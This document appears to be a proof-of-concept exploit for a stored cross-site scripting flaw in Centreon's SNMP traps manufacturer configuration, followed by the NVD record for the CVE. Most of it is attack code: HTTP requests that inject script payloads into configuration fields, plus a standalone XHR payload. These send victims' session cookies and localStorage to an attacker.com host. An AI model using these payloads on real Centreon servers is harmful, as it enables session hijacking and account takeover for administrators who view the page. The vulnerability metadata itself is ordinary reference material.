CVE-2025-54889

<!-- CVE-2025-54889 PoC - Stored XSS in Centreon SNMP Traps Manufacturer Configuration --> <!-- Exploit requires high-privilege authentication (PR:H) --> // Step 1: Authenticate to Centreon web interface with elevated privileges POST /centreon/api/latest/login HTTP/1.1 Host: target-centreon-server Content-Type: application/json { "security": { "credentials": { "login": "admin_user", "password": "valid_password" } } } // Step 2: Inject malicious payload into SNMP traps manufacturer configuration field // The vulnerable endpoint accepts manufacturer name/description without proper sanitization POST /centreon/api/latest/configuration/traps-manufacturer HTTP/1.1 Host: target-centreon-server Content-Type: application/json X-CSRF-Token: <valid_csrf_token> { "name": ""><script>document.location='https://attacker.com/steal?c='+document.cookie+'&u='+document.domain</script>", "description": "<img src=x onerror=\"fetch('https://attacker.com/exfil',{method:'POST',body:JSON.stringify({cookies:document.cookie,localStorage:localStorage})})\">", "alias": ""><svg/onload=alert(document.domain)>" } // Step 3: When another user (especially admin) views the SNMP traps manufacturer list, // the stored XSS payload executes automatically in their browser context // GET /centreon/main.php?p=60801 (SNMP traps manufacturer configuration page) // Malicious script fires, stealing session cookies and sending them to attacker's server // Alternative payload for session hijacking: var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://attacker.com/collect', true); xhr.setRequestHeader('Content-Type', 'application/json'); xhr.send(JSON.stringify({ cookies: document.cookie, url: window.location.href, localData: JSON.stringify(localStorage) }));

{"cve": {"id": "CVE-2025-54889", "sourceIdentifier": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "published": "2025-10-14T15:16:09.870", "lastModified": "2025-10-21T19:42:19.127", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Centreon Infra Monitoring (SNMP traps manufacturer configuration modules) allows Stored XSS by users with elevated privileges.\n\nThis issue affects Infra Monitoring: from 24.10.0 before 24.10.13, from 24.04.0 before 24.04.18, from 23.10.0 before 23.10.28."}], "metrics": {"cvssMetricV31": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "23.10.0", "versionEndExcluding": "23.10.28", "matchCriteriaId": "52CE7EB8-492F-4469-9E01-8C63144D785F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.04.0", "versionEndExcluding": "24.04.18", "matchCriteriaId": "7C3C1C61-F2EB-4900-9BB7-C80A6C538E5E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.10.0", "versionEndExcluding": "24.10.13", "matchCriteriaId": "09800EB4-10FC-4667-9FC8-88D9A8BB2751"}]}]}], "references": [{"url": "https://github.com/centreon/centreon/releases", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Release Notes"]}, {"url": "https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-54889-centreon-web-all-versions-medium-severity-5123", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Vendor Advisory"]}]}}